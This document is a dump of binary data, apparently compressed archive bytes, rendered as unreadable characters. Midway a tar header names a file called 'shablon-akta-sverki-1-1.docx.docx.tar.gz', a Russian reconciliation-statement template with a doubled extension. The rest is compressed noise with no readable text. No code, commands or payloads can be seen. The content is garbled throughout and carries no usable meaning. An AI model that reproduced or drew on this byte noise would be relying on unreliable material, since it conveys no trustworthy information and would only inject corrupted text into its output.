��W��ZAY�՗�D	Q�?É��8'(�|X�H�\�K�v5�����m7��*�-�#A�7O����*O��E:i�n�#�K.��:�R�빪Y-��� `0�!��vkv2'{|��BбvЭ�3�ZG�L��u�?���>cN�7p6��ہ�m0�����F%'�A�tx2U�EB�
����ԤG$�z�������f�A�\ ��U}|р@����X`Vp�N�c����"��_qh�ҷ�C��
���pG=�L�C��5������nh�;���`�	%�
�	�5������P��/�g^��0�(՛��B5xpk�����R��f4�;��v��Ec����z�'���U���Q`E�TUA����y���$P���3gr(&4�	b��I���=qL�^p�h��|�橿�)Ue�Sk�r��|V�#�y� �*�<����C,x��g/�_������C7�U���ʨl(?\�j�	��W��7��JA��3 �����е_�ކը%To���2K�c��N��Ѭpz.E��
�f05�-�W%��	��L_g�?�`�P���1�ϔU0D�O,T��_ӿ$��o����12
F3�k8G�rՈ�B�n��n>z.��s	�ѫ��]��x�j����w7��{�DQ�ջ2^y�JM�*EW�*����k���u'K@�,5���������m�_���Hpw�?���{"|�
	ea àm�൱ kU<9����ݗ�j�)c�0dE�g�94
'���y��%�:5r�:Y�/Q��^��
x�(�*�6ڋ�}�2����Jp(�yER��]!�*�ZUi	|hO.�$�:����\����(�������'��[���*�k����N�3�÷�Ze�h��^��+Y��
�k ��/=��U��W�H7�5��Qޡ�	q�?
O�ϸ����;�	0�wj�.�Y��弄�;�*O��.y�]��_s�.����W����^:�����7U������M�?�0�kxw�)\[��6>菫��n��r�֟�WA�[�*��	�[4�k*“�s�#�,�z�r��Sc��,_[��VV��d	����x%$te
6Ɵ}���6�=�'�^��'�Ui����`���w��:j�x_��$ê+;>�>�����1�7���D��*+��Բz���_]��[��bҿ�Lﶻ��ߵTŇSu�V�)�"�k�U�����T�F��Y:KQm@Bc�rV�1(�I�	�j�еai�������W�H�w� �[����䔚S��2��C��Jt���b�U��'�I��K1�?�c�o6�I�������ޟ	�P�_�$���ϣ����ޥ�/��S���V���VhWP
�x���=�o��|��̷��%��#���*��kuj�^�y�Ő>H$:9�A��a��3S�a��L6�%ge����,j4,.���	UXz��	�)b[2\�Q���P2Ɨ�5)T5�c}�&CM�q�d��T5�{qh���?%��Nt��g���{��f�?F��s��JW���z����[�v�E���B���7�@k#50
�e5���W��=�s��W!����A�Ѡ��I�*kHMh�Kx�.��^��j���j��j3x�+��@D�ðɐ�/�8|��7�X��Eb�qѕ�F��(T���=pSb�Q���aR��f�G��8%^)���E�I�
��Ãa�RNP(ax4�H�(� ���9K��;P	OzM�I��
V��h�v_�9 Z���c��@�@�y�[rh���CS���P��
9�%�]�^<��#�:k��l���|��?��7�#u��P�
4��uZ�7�*�H�8�-�& �u"����df0`�Ril>`dR��傁C{��������PH|�
���{��,V`�3�"p�B4�_�g�h�O�����x4:��������#���L�k\~;���
�B��C�=O�C"+�T9>��Zd�ɹ�y�r��"��#"�WB~T$&�x��@W22/�9\R��T
E�$:8L��@v�/�_�wEE��E@^7@uJ��a	G�c�I�8I�}�
Ӡ�Η�'��Mޘjs���)�������nʀ�S~J�$��2�G���)~�JO���V}�g�5x>�m�QJ��;! �_�A?���Ԅz@�i`D�rw�$���-Ie�C�Г&l$�.p*.�HL���ǀ���^wmC��$	j#�c{�y��8"0[���MN���65D�_V:�����80���y�?�/3������1��瘞TUs��H2�����lr��
������؋���m�:��V@�������N�<�}5��ӇIj�\�W����ʢc����`�0@@��A1J�Ѱ�xP�_����TJ������"�ש5��c��	U�`�!�G�� Z��`!�);��g� A`�'(5�-F����}<���h�jfS��7�)F�E.DF|	��U�/���04���!��2'̏A`h��/��F��ZXb�Uܬ	��BڏG�ɯ�Z��s޻�x�����6f%IT�����&s%�D��6J�$U��Me���R��$M�HiZ�A�6�&���:x�,����������S48��0Kdfp�YF��
2�'�R	����h����f�2�LIYȐ09�8Cc���r�Z	QB "�l�%''Ӯ��"��D!����l[D�0
��Bu��8��eИ�i$��)S�EȬ2)S�Ȥ:-+)͡"���D%��Rٝ�t"�\�NFQh$U�W�(��D#�i�z�
��1��P�RY"KK��l�T�A���I����'q�R�&$I(<�P�X��U�$fQ��h���*'���g�x[e#Q��B��AbQ��*�F��I$U��0&���`��8#K�M%�dB��N���@G��R�����Dt)��v����g,*,�a��7]�/$ٝ�8��$�IH��z�£��T*d&Q���X���1C�lqB*ҝ��3x�"�p�(�-
�� �R��x��lC��xϘ����JKladrY��c��l'"
GȤe�Y1F�S�g��.Z�T$3�(�x�S�$	�h+"G@f*�8V�&�As��i�L��i-B�Y���Ne��Fb�%c!�N9�͢ee3�����e�Dx��XT0�F#`f1e�A,��V�3�-���F)��cI�r�3��q��$�CF"e2㥄4����R5T���E"H�@�JF��P�%�H9��B��ϴ!�(@��2�B&�"��TJ��."��Ed
ҥby��>��&S(�,RZZ��)qS�Mj��$�ˁ����2O�e$�ݩ��Q�h'iRS���L��L���n��/�J�hHt�F��jU��(ǐ�d*�BMאy<F����\�I��iJQ�b��hW��D�̭r�S4�K�Hu�X�%��%*l���jT9��4�Ko$d�\��+�91F��kƨ21F�K�9���\�I�RIv��M��UV���u��4���R��B��j��"�%wr�T��/��Q���'g��ٴxQS�J�pQ4�1��,���i�t7�o��Q�#!�DZ�K�V3X��l���g���Z&���fi��x=�T�w��,�-=��g1�V�؊�"���D�jw���@X܌�B��O�S3S\5Age��I2	'@0��ɜ�6�h
����t�P‘l�Q��Q4�ڦc:"��V�C���%Nϊ�l�~�^�#ɔ�,5ʮN��xx��H�AY&B�G�DɝN�Z�Mu��&Y/M%�Db���D��L����]h��]�f�sb*^�
Uf��D��Ә���˒S�F���7���Ye�9,!a�ѱ��B�0��5s
��&4���8t�T�Q�8q�4�^a���HS^��f��N�j����B�֑!RQ0b+Veed[�f������-ilL�ô�EH&^S�1�%4<����@+��@�%���j"݅�&S�C��1�j���`�R�D(>��%�,f�$G��X��6���8�{�D4 �nG�U\<م2r(�41�!��Q��JdL�K���[�M�Y'��6�<�h7!�D�i�R��b
���B��ll�	)L��U�V���l�f�U_�9�,�RJҩ926�'T�Ssp�,�]N#��T�@��M5��p2
ql�T&Ѧ�Dz@T��
;�d��K�z�Dϧ�2\lF���F�
�"�]�2�
)�P�0d��n����=U�n��$&��n���j��-��B�܊���m���q2�)^�)D�Y6��Ou٬z�Y*[99"��n��1e6� R�
6B�݉��;�l�݀a#��4�H)����l5!���TS6�')2�3�X:1]jba�"5C���ԙ,&P�Aȑ�Pr���p�E�==�b�L2�d��lX�C�c�3��=�Ȗ��9R�c��!�l;�oT�'���+���"TF&�� ��r��G3RJK>��B���9���e��9��i�b��:�%C�x����9�X-K�-Df�	���d�	l�A��cQl$I,Db-H�bPQd���������xD����"8�E�X)qch��I�syB�Ǵ��9dK��渹��4,����&* �vm6�$W�,'����NS��8�SCWIP��v�������(~/]LÚl�oq���,#¬��3�F�]��I��:CZ��g�t�,��Ҙ�l=��!	�JN΄�P�x:��t�S!I�8Yt�Kbb�V�IL�3�N:����f�$#]�������@I��$�mKe`hlS��
Uf~�9+>=���),t�9:'��(L�,WUP$��t�	�HE�3�fb���U(&��f��/�`���c�q.�Z�B���X67A��*�%���$���5K�B�шvӬz�N�� �D&G,�4v��]�ٹl|�ÀD�hVFN�ĘDb�Ѝ�gs$DK�oպ\
���s	�L�8�lv�3���
�q���+-(��mQ	��n#�l��-qN��bϦ+����*�Ch�Ҝj�Yt��iQ�t�L�$���4�.'w�-16=e�8h�l~�ؖ��SH�/��$fB�C����E��m,�X�#e�l&���s-����ez����*f�oc�m�i9��x^�������9��",���ل$���Ζ
�J[:">��n�p: 1G��Hs�l.gf	�Jc8�0�x���fe
yYZ����q\.i�:�n��B��T����
㔲t,R���-��o���P."&-[&gaL��)�l|��&��q|���K�X���#Z�T��I��l�;� ���������h�R�ǦR�F�8���`1�L)GK�Q�9H
 �T''���g2���/�W��̈́��,�	HS&�OP�Xv�Ţ�I�
v��V`��8�]�&�ˉ,4���"Ѷl���;��8)RI'"s�t �4Jb���ɑ��?ޥ$Ҩ6�\GŊ��L��ek�4�ٙ�P�i2R��ef�%Z�$R�"0��S�"�ŠU!8|�&�"�)�.�XX��:2N����t�ȡth�qD%%��b�[�� �9nRa!Ź�AJq���UQ�0%t8l��L��:�DB&�#0�F$F��*�|S_����	�-B�f��VЮK��x$*��I !�(D:�.���2����w+�%2h���4��U�($gj�Z�H%19���A��qnB6���
�<*]I��g 2Sd ��#(HJ�J�������A�HtA�L�2�"��A�(��K#��z4m%��X������f���J��ٙ
@��x��:��t���V18Ti�Z��X`�F��T��ŶQœ8�F�d�rҩ� t�9V"��[�@��D\���`f�]�2K����s���N��l'�t��j��-N���,Va7e`�x��ZH#:���8���
��&��%��F"�p0:�A���D�GT��v��Cv��<���6g��E���g�����sT*�Q#h�;��L%j���8;���0Z�b���-�s��\~6�.�	u'��t�]��%9�z�F��Q
�|75�iU!�B1�(b�YX��M5���d3F���04Ie 1x<e�T��H�
��/q��l����F�h8�N�H�f����h�QvZ6ю�0��V���brPR�)-�-�ٙb!��ĸP�*���+I$��C�;S�J	!>�`���"2�m$�l���l+�9�6�KGHq�ۄỜ��	y'h::�0���S(�����ǯ�/�?_����|!��B������/�?_����|!��B�����U�
�$�L(�B��Y�H>��I5 �V6G.� 1�(C!Ũ�q5��,�KN�{>��Ȥ�5"Q*O��p��2X4]Mv����$��T"ը#��T�Fh���3
�H'�H��T�t�#�p��d��HH���j'��z���s+-�5@J'[���T�H����4"
c���K'P�lF�Ս61h9�,c�R��G�T��"KZBH!�ih��f33C"EXb�#Cj@��NU��acH��G��9Y��B��H4](��3�D�3Sjӥa)<Bk6eq0,��s�m
�H�0Yr8�Ȣ�"T6�������l���S���e����4>�P�Wh�6�o�S�2N�Hɤ����5�%�b�6ÁIS!�8l�Gĩةix\�R�J6+-Z�N��M�r�f�:5��M�e��J����6�M��a5M��-�S�.:�`g縘�T�S頤I8&`)�5�q�S��h��H�d�F�����Xb^�ǣ�$i9f��Q�r�J��3��Hn=G.w��S3�b�(6;i�4�Q�����t��Fq)�B�H��g3�b�Q��9��xQ6��vi��l�;��V0�L����F�8��EH�+�pTW� '�R�3B�_�P�z$Wۛn*���إ�6��}���]/���+FM�%B�.�
	�M���T�i�s�K���v)���1D�F/7(�8<�EFQ�=M�."e�e�tk�cp��"Ű�9����$$B�c2��&&��i���*#'��ٵ&=#�d(��+:�9�,=��&H�N-ZHv�R�$hq:�M�jEYd$��u��(N��v���;�oҧ�q$`���ɕH��6:1�R|6!��f�YH�T�H$25]�W���J�U"a�Lqj�aC"�xq��@t�4z�i�:�"�n���D!/A˄�R�!M�A\Y�����:5�t
�`� f�\�(�bq.�N��3+h7�٤a�L�U�5��&�M�e��v&�O��pv���(tXr�*�v�%z��`�b�E�F��U(EV/�,7�e��n�]�CX�h�`E:&V������T�I �12eŠ7�W�J�"�5�Y�9N�
gB���u�E,
A0��6��I�"�j-�H��6����6��[��%��x/[M����IL7��l|$��U�0��1�T�͖�B�6��g�v�R�k2mL�=�3���jP'0���;35�G�N��1J����\2Y�JԈ���R��u�l^&��2�,N���&���3�5�\�8#å�[͙LI�ɰ��l-��,,R���t��m�"�4<Q���ld�DD�)�b;_���׉�
�d��h�Br2(��&.�a���_�F�,6�'�2e�%N*�LE�(F��HL֡
�t-OӑI(�I��v>:K�
�ˠ��l�Uk�����
<��̤P��4�h˶H��@�*NE�ԩvF��Wd�값T'C���bL�Ȋ�F���n�� �ap2\�]hv�5�"2������"#�Y$��D����?�
�2$�HY!���SDF�O��+�	�*�(�>�����I��A�\�����w-�Tg�&z����a6y���%*uF�-A�P�j���M�������jI0�Ԟ���͞�}��EM��Y�D`��~u���	V�%�9����U������MK�UUC�듿C�9����_�5=LjS`�p��.{(���	���ε�u;x|�{��>%��]���3�w���Oh@w9�K��&z���Mp�m���b��L���j ��N	��/������]�;x�1�_\
U�5b5����/��`�����kt����������y/��*&;�xH�Q���q�]�̬ۙ�գȦ�6��4I�G�߷܍&����}/J,��@�P(�
�����SGar$�),�佥�&t�$�7X���Y"��E\��U<�o�-	�J1K�e�	�$(<�1��obs�-š��3�ɦ����$�ƒ�yS(���'�%}����,���suH�x��	�d������.��|8����1�Xl��x�0������ZI�
@���B�����v�yٌ�2�:y.64�
9WҪ�l�2�&E+���8qv�r�M�Ú���J��
;�PcS�T�O�px�
7�^rS��S,5#���{�y��G�-�@g�7�
f��;��z@�9�_4D)�#�U	��$9X�_H�N��%?�B���$���ܡ�P���V]>Sme�sgy��TRC���gX��L�"��KzhR��X�qrB)=桓{��{ZfR����ɿT �w�X]% /�����|��ta��d8_��oG�x�ˋ/#�


b?!��h�	�n���/���$os�Q�O�.�k-�d(!��>(�0���jd�,��\�i\�u�{�i\մ9�dWp��v$��uU/^p��~�<���T�R���V���dFu�ڱQȐ5񥩈���J��[�D~�]Ih�!���	y)j�F:-�˼�yؓ�^Һwt������
�㞐
km�a],v�L%!��]����1eG*KGMlW�I�˕�〦;�-b��k�a�:��]
6=YK�6��Wz�r�4�3;ǽ��o��7����
�WB-��А-z3���f�4��RӴ���b���Z_6X��ɣ�R���P��F�B���~�*x3M�xAO�Jq�y�rXaƮń���2NF-��^9�tt�8	���6�.��fQ=vɤ]7岍�L��
^�@v��At$ɏ:U�Sǻ���&K�t:�$�xU��Q6{��vw�m��l4?9�J^9�iMҝ�'�ݴ��^����e�>Q7�>�dD�L�s�}Z3�UJ�Ӱ"o�U���	�}�/��t^���Jэ���&��I�=�t	B��@�[�>�T������P�׽uK~����Qt\��Jm�'l4j䰻v;	�z�W�YG'\����ĐQ��H5�Dח{���.�*f,L—���w/���X{N9ax����z��䮞��I�)�O�h<)_,,�x3�ɞ�3��3`6����p��p�?�J]�*�O�%�6�i|%�q���	��%�㤡�f����**]����}�}�n�ݿ׶�Oʲ9�
�aW��;�Ϳ�x(�4�:�B�h���U]��6�h|��_5p����6!`�Җė�v����cT`R��rg�[mW'���f�
3"�(O�\�ʪS�2��}q�v:L���u�5Լl5DѳX�(۠菓PK1�	q�'�E�
�])p B�[X]�.8�2c&%��w�l�h�}�i6|	Of0�d�bxy��V��A�S���5"G	��+�3E�
%�<�A
,�zDO}Pzy�/+W^b\�˲2�8�<3����m
��$��Y�WO����?̷�)l鮈��W1���5xL����I�Z�k���ZH^�l��ۋ��2��q� �ߔ%1����Ɦ�v&$ظ�/'��,)� [�
�ki�d�.�1�̏�q�8��40��������Y�-Of>���x�D2>Ou�t�U[�ϭ9������o*L7���T�,���o�
<=�����(#�bP.����KX�$����
��Rj�<�u�-(�dN.��>�\�S2����YF@nE�]�>���su؝���s��|/�s�o�%S�%$��<F��ʼn�(
+��2�TWH��SP��ѥNaI?A���~�b�2b��q��q������Ҩl4U�M`��c���υ��\�Q�I>e�d��B��9�]=5��&!f.��D�y-$�5P��96 �C��;9�;灖�%_����x�}
���T?�D|�[������W���a�5�?y#�l�:b+��Ѭ��(������@��y0�I�G3u�F�LB$�?$3��6O�]�L��eY���E2�..�*C�X��b�����D_u��3S������yj6X��n�|���O�t�X��nJ��@�e�fqLB��o�f�B�lp��� &�U���Z��6��8��
՚��.�lF��*y_�I�`�m4��[�G2���S�r����k�6i��-���ὄ�ӄ�L�ډyջ��ẋ����2+�i����\��gղ��:�"�:�)
�~RX`Z��9���ES��4w||�i!�
��,���B<<���D���)K�Z��W�D��9Z
���Ä<XM��9!�ɳ����|]3]�d-qCφ�g$s���ͦX3s�ZUg�4��������V��K{]��V��.-Rx3���L)y�g�ݴ.��3�׬w�1������6렝����.i��)l��V$�Ua��[r�P20_�5��doMSג��B�~�|lU2����[)�m
�� ��?\��={�-d{��~������녍�Uֳ/B�]�i�R$�T21�U����"��aJ�<�^��t��s�.>�?��O��K�	%.�渫-B�utly1p#�5�^ts��"��]έo2�P�|U�|Ex�|(��~�ԇ!�rwz�eS���r�Xc�c~E�Ӧ"��V^4v\�즕w�um��4��_�`k�O��S�?�e�#k������z��(�\����4��nN�n Ts����/ߔ��x�ivq��D��M45�T�f/��#X�x�~�<
��x��ق����/$�?�7��<��V=�KZ�'ٿ�P����x��;B?|NZ��<�qzu(�rGȸ�VG��j�#��G})N�c�3�‹x�-�~�鰦荷H���:'Z��ý剐�*�N�����Y	�"H���c�f7�c����yE����8��u�`A�<Xa�����Q���Ew*Ꙓg�)�?�c���{��ؿ�~0�\b/\�5��j�c�����S�=9�(��

�T��2�7�J�1p"G����%hQ��
Q�ߘr4��x\)�Tk�#ՐWU��J>nM�6�Q�T�h�����iz��gf���rS��?TA��oT�1�1ߨ�
��Wֺ؝J@?�vh2æI�%LP1��3�&‚w�0�U���4_�MOH�u��e
Öɦ��w)���9P{�W�l�v��]�v�ۛ�B� ���B
l2֓�N�����I�]�\�.L�R=�Q���kaE�qĘT��t
�{bG���ު�ɽWj׷0l��K@�D�v��B�/-<x�7(���"�e�C5l��)�H@���̪�#�s}}--X!9,��&���d38�
�xvE���o��e~6�?�ujmТí��]�3>�E��S��
-���Z'B�MQ~-���B#��A��M1��s����H��x�N$f��㴪N+<�b�>]��R~��Oa�J褾�DԬ +0S�өh*z5D��Z�틭sd/@��u�m�#@ͬ@��R�;Lߪ91�%���&����o�:A;��uLS»��Oo���\6)�Z)�Q������ů������\%�azՠmY�5{D�5fӨt��V��Y:[��/�w�ꬡv��oձ��iUܖ����������HS�ҝ�uE��1����?��u�x�̦�b�A۳΁��Mr(���.ڒ���_���H#�����}9�&��R���}�t0�s.���!_�#ֹ��"�+�������,�H�������=�M�Y�&˔JP$�ڒ���VÜvч��ww:��P���pX��`Z�a���ʑt�D
��!���v{S\S��_P�LJ��հW���+�I�vf	B�U�����/_�G�4�O>ƴ�JU�����0`��Vd�F�Ke?����{��X���V%�Ю�i������=*�z�腥���WP�b�����?v'�C�ar8��
���`����׆�õ5�_+�|ɂ/蹶
�c~�,$c���ށ{y4qG���{\L�Ik+֓�4v�?�E��I����s���E������S��G�X
yr\�âǚI/���ټH���� �4G��,y��]e��=���L®Ok7^h��Tz
����0T6.�����<U�J����`J.���gv��ZXL0w��P"Ś���*�N�!�M�cz)����t��CE@����J�cv� N�`�A'�#T��m�k���a���r7���޷�10K_48����������C�)L��Qy��l�����׺���	$�3�2��fx��dǿL���4�A/�h9%��P�����Ux�&�@9�%�V��V���X?\�p�I[�ޠ+�F�g3�����1���Hq�?}j��Q&�m��(��!�zޭN4�裔l*��>�����G��s��s)lJSV�P�S
��D��LԐ��tT~���O�������~���>�����O�|0�G���7��4��3�/�o�޽��j���9�{���J��,j�JT����e]�����+������.0C��Ĥd�X\v���c�U�iG'
<v�~���M@{��h�P��ɤ�.����GG�@|%����8��d.�!6}���W�ʂ����~����h?؃� �"���`�dKu�[X�6�Cw�ԃZ-hX�ԣ=��ztG?�W���G{�]�����34�j�+"ĥ'QY��`
�mÿKxM�ezb	�����iAԲ���܅Z��T���7�:�8������׋ŗ�ۑ8Hw��焊w]<�}�-~��9*E������*	��)����).���j,���n��y��d!�����d<���
�r8\��?�%�d������QZ����J� dV9@㸺�j\�7���y�v�;-Д��|���{�����S��U� ��C"ʯi��<M�8渂���ɏ �z�ԣ룦|�t��8�>{̢�,A-1�g͂����<�G^1�K���}"2����Mb|��n��e�����]\f��7}��
�LA"�1�x�����fO�>���r��#��6�}�eG������i֛�Q"y�����

�X;��]7/��.f��V����U�}{��(��J���;ΑP�ec
��%P+�����ۙ��V�8��wP�C[��!���`U�����!�����LA������ȃTk|u�J�
��D���{���Q��S�?��N��Rhkk!U-�]�����%?�ž�H����[�(k�
��x�v�.��5%H�H�(��m�x�C3V�,^,�,I�RN:4����E�f
L���F�cJN�	�f�r�w?�j�^<�VT��-��5K�՜�%ۘ�:�ۃ��s{;�C:=��5_���_eoO���Fc�M�t$��>��-�,�d`7iu�Vp_<�0C���T��>�l;��u<��:�xh$��<�@�������b;慒6�������������N�*���:���A���I�A��E�A��5��6��V��n�v
ß��7���+�$/A�I�et���0�VԽ_`��T�ұ�RJ�w����Df�_p
{X�:�<��kӟ'�CZ����`��C1�҉x�z������`F/�9�_��|B�m�z+s@�r���L�5����2$��r��t�<L��}H@Z��1)����5j5��(�3���yDrW��4��1l�+���0�=�l�oW���Bnhf��	e	�$�v�X���U�6�"��t�l�}$�v`�=�1�<o9/5kQ�yeɓm�
n��%(�#�l�|�@6#":m�:�f+Rܜo����wz�,�/�x����v�(�Չ�|�ux�͓Y5Ra�[�H��L�2M2��z@ò�9�"ō)ɐ���8/�h]|࣋��V�Ϋ,+�VRz����n��}��2�QY�b��=/b���w�;���(Έ��ߚE��8h�9��#���p��c�<�����
��oj�>�B,�=���+��7�W�j[���:�uu�6��K���ԪUD�PQ��(�0�▐q2���;գ�詥�9TaD���r��<�����ԩ�k�n���>�7}hN�|P|����C[@�-���3W��b�B@��ٌ�O�p+X���Y�������['���
я����ղZ�\V�UU����*0!B?��|#&`(�����^}<=���a_UB�]#`e�ӈ'�hVf:掄K�\���{�{�}}bL5���4K���m���s�mlTw�h��su?=�"�\d�'rV5/��9�j��;/	Ԣ����X��G�FP^|���^���`�˫;n�%���
Ĝ��̋�,�{tg�Uۙ��y���gu��[��:]��P���T32O��a��&�5�0��7��TW���A�ơ�$2��	!��b!�c�����
�����$�u�,i+�ɰ��2�ٴ�ڸÿ�9	)�t
H'C�ab�}�f�yH����x��n�I��ۊlό���&vG��;�Q>kV���4�Nv�W�n
%�?t�%S%��"H����T�����ީ-{׭�:P�z���I���`�W5e�m��Li�Q���Jqd��s���u�f�nbtehԛ8f
L�e�}��ßA|ռ:��M�Xo�K驵F��rTH��R�<X#��M�0�S����I9_,��{:h�� �Ԋ[lH-�f�o��'c�xGb�ijV�k����D�:���Y0��L���k9gj;���F�+��l&�o���.�BVpVۚ�t�ƃF
�N���K�;�قmS���K�ֹ�8���ǀѳ�꫗~}�p����3�I���m�º\Z�W�*�|[�ZYs�Nʕ�/�Y�ox��c���Gy^CNJ�Ѥ��\'�,�Z�����h�l�������F��o�[����!H�HcTm4e`?5L
#yP	|g���An�	��p�a5a
�=���ݘ����ĉD~�Յq�m4�_��π��0�b�L/�8�_\X
k{F9�v���8M3�O^4-7����#AUu����y�i!�AUQ�Ȼ����|�Ĕ���L|I����4�XKV$�ҭz^�ul�x܄!�b	�+H��h�Hr�m� ���i�]��$ë+�\N��OC5]hn�m���^�魡�;�q��JЈ�)�/��T
;
�u�eԬ���L�	��7��q5�CfoS���^0��f��ѵ�W֨w�`]�{��N�s��jCX7�n�͒�f�iL�s���;{�.���6�y�{���k+F/�	0���9�}�E��Zo_1z��Q@W$��������kg�֖�n˜�AiC�0u�-�݀Ž����-la�%K�W��+c{��1�����A����FU�vUʬ�[#�C��0+vh����Bc��8���K�|��d꺙��Y��\�jP��7q�)�὎�^�k�W�T��c�<�|gl��k��
uΆ��]ǡ�^5��Ѐ�%��TNU-�-��-/�|���-�;���w���+�$�Ɵ�����/"A���흒m�v�l�F,I�A���o���U0rS̠ZS~)���Fl�q;�V�H����x�ϛ�Q�x��j���]C�T�2ʗ2�%�lO(%���Cʣh��`�nt!�|9Q�=�߾s_I|]�v7͆z
:&Q�s/�`I��n�2#<�\E.�P7B���.�3���j�~��R�n��O�!����d�.�t9���=$3�E�
��H�@M�[���I�"4�{��Q�����V��.ds��:���d�f�tƎ�W��%�i�xj�,����Ŭ��! 8���RL���LW��L
Ir��y��9)4td��R֝�ZOw�ꃭ�
�y)5v�W�	S(0�*�VD>[3�\$�*J�\SW��+v^S��hJW���W������z�����C]-��7O��qr����m����?�T�n�(�O%���-�ݖp;I�p��v��e�OnO�o���x���l���y)��	�4��d��K��|���ت����gY2]�j�/��9*�Q��+B��d��س��ֳ::6eF�����j[���Q<X�	L��Ch��kq1�*�X�d����_���)i�0v�O/@���r*-R��G]$q������h�j�K��6D�u��Ѓ�ݖ����RT�f�p����J)�p�?��E<wQ����=l���Er�S��@�ɰ�GWߵ�ڬ���Cۄ�qm�;��*�
\�8F�w?�*<F+
j#��6����j���Ϊx~K g~�*lpõ�~k��֐�o��qdڹ�SZ��V�Q����_j(��9,�
�V�D I@a�~xc�[[�V�%�7��"��b�8�8!QaqC�;�ʕ;�r�Qo=q�P�
,�,$��e����9���sP�Z��"y5V�8.)J���p[�Z��ڊ��<ږG �1}u�`d�@�XD}u^����|�p	�H�\Z{c��j�v���0��I�;aE�;l�	�ЕFk��5�I�Z��E���f�MLg˄ހ.�w�Uߎ�ZA�����9Td:G���
C�/�ߒ�Q�b��ӱ(�ݠ���h搄[��Qa��Y��t�էL�m��Ӟv���!��g.���
�t�S���.gv��,��H�5��]�AUE3%��]�g�s���^1_�l�(n���N��k�rS�$�]���[���k+~ˆ���0!�r��ǵ�0&�9�%3=�ǟ?������&����4odfzq/shablon-akta-sverki-1-1.docx.docx.tar.gz000064400000055553000000000000015111 0ustar00��ep&;�-�������233333c�eff(3������e�^�{w��^��s"�{���E*�)sJ��1�))%��;й��ҙ9Y[��Z�9:�:�������9X�ұ��9��X����[:��8�;X��0�0�������_��ӳ�12����o��3ҳ����O�ΎN��I��"��?��$02��O?:Ư�r@�r$p MA['c']%w;cGmZ7k+�< �������OER����=�ZռQ>���{iN��E��Z�b�dž��i�7b�M�顈b�#:���J�|�!F���PO�&܌�\;	��=*1+Nn��@S�(V����*k`vJ�@Ǭ��7�c�xp��Z�[v~(`�t�Ȓ���X<��B�a�hΆ����
��O����`gĜf�O���r���<a��#5���!$��*���KN�y�d��z��C���G�K�A4���P*��9�M�k�::�g�"Zj=�<�.&����B�k['������Sb*�Ʊ,X5e��`ؽ,v��	��=2�e�}>>���$(8�����������c���W{�7܃���N7�O�9��3HL���Kr?�V��t\|�V���L��i���{��S�`� ���"�?��JDž�Wr�[�p>>�Sr�X̟��>�O��Tr]c+G:�?�(����-z�.����W���e��Vї��5ť�V�,�߸������EGgf�<3D����0��a��!�tz5_����
��v��L�F��)F����Ob~���-e�i�R�a�ʜ�brΐ�.?�^y�1Ň)'�a~�BL���G�#�e���kM2MLt�F�v��I|c��=5�=IF�A9$�U��G~gqX05D.D݋����a��W�K�z�m[�m�[����·��3c`���FtW�Ok���>��"�o��T���/�6�Gm���TO��o~��?��*�hnT:����
�<��|�@��2�����0M�7y�e�@S����ƍ�>>��VL�ק8�6��M@�C^+]Y�Z5E?���:2K��_ p�E��J��q�wJC#�=�B�bD2E����M̱{��.�G��l����$,?����l
hBp��B�T�o�c.�*<sN�9�p�F
Wd蠧�[K�ō���E������^#�4�1Ӗ����߲n��f����
\+��D!���J!���5�}�%�Rj��)�Z3��W���`��͞|[���s.�����%��Yb�l��\�|��/d��K��qz�O�u�3�o��3#�p,mW�_����k��=0�4�����}
HVb��;o��[��I�[��9���[�ϖo�h?z|�/��(N�O�Q���;^�g���>`Q�,C7�^De���F�(]<�������D�QiYK�,2���Υ���t�3�=�xƦ�
�j�|Ƥ�I�L�x�H��QQ������Z�j�Y��\-!�՝��TY���e��J��	���ٔEH[(��Bc
VR�f�q6���_�}H��"����R�d(xe�/n1�!�~�V�]�gA���~�H�/���!t6'"��W%5��C��4�M���-?a�:�bOW�ѩz�#�*l����(,*���BX/�:���$�Mo3�z�|M��!w_�S���f�y*-ۃe���}�6f]G�U鱣�^^�gn��J/a�����~;�W~�|�և�+	�Xp]�p�$�7(�3 �D��P��H�������]{����$'���M�����9�`�.�$/�}�����-.��`�co��a�������0�T=�}��[G�1�n��N��g�VG
���J�v�v�k?a���}T?�x�$�mij���m�?]�HQ��Q$�HG�[���A����Q���G>K�9_�O���8���`�i͠�e4��f嘛
6��3�}��
��>pֲ$�^���\���3m݁�Z��tZ� �R��h��\
U0)e��=IS?��CF̾L�cLWm�S���Y���sU�)WpV�l����Ւ֖��7J�<z���S7OP�ґ	�SaUW�>m��V�;T����3.$
����|"��W�[�(X��O"��zjC��v��C��lhA�S��N��v%)P�-q[ߢ�x�9tsF�����Ŭq��$wfnQ��r��+�
0`a"W%���8���(_N�8z2SU��mj'^���!`a�-��,�E���؎�l��t&���_\͞�B�
~^Җ���
C��G��G/�;2a�5u�Y�p�
W��J�Ϸ;DC+�?e(��0�	-T���IK��w�DĐ���r�}��%��ڬ|�@�h^~�f�c���!��<��c�m;�DE�V�4ւ�f�	Q���J��3��E��x��RƩ��K��&�������p�pBG^�7u);!741S�l��-/O�Lm.���<�V���&�(�
�}���3�"�K���˨g٩��؄s
+��h8�陑��j��A�w�);�"��x����H���U��i����n�fb1T��� ΔS�!�|���۷��\��ˣ�#�'�@�}2�
�,3�AVN@�z�H��[��s�+]�auxK
':�C9hY	Ah��>��G���P/��ߢ���,�
�фn�SM�T^�����I:���n�24d�cN�wz*y,�A!=����aA�X�-/=�|C���B�Ɂz!!�!����-��=Ye���Y�h�S�3���c�	Y��s�~u�Ԁ�Mm0+Wg<WU�T����:�Lf�MJ�@x4(l�G����]�!��c�r�
}P����.��_�d\-�J#����J�SUa��s�wĭ��8�3��#��:)��%ĉZ���2�>xٹ4if�]��]KE��$W�M���^4M "�{9y�t<3>^DN�,�zV��P��&f7t+��vY��|�Y�h��1�A,<��Q֪t-�
\ �2I�����m^�1E��Y��� �t�`1�ݸ�I\B��H�IBB�(�X�����#|P���`�����`������� Tg9��i=�Ť�g
h�#a�ڄ!���)�>c���[�[P>����!��p�P`)GyZ�?K	�T������3p�3,U���qF�8�%	��S�tB)/��I������wV�x���T`u�KMJ���q�k�y���1����)����:�Q	?��
WN-q�shm���ƞ�"�[7���>K��j�]W��i��u�	^g��<EZ�l�(�o2�Q;\>Z���tՃn�ݒ�ŷCQ����*��^��D�!�v��M0Sz�
2���t�j���,�{P�`�.c�I�y�t~�
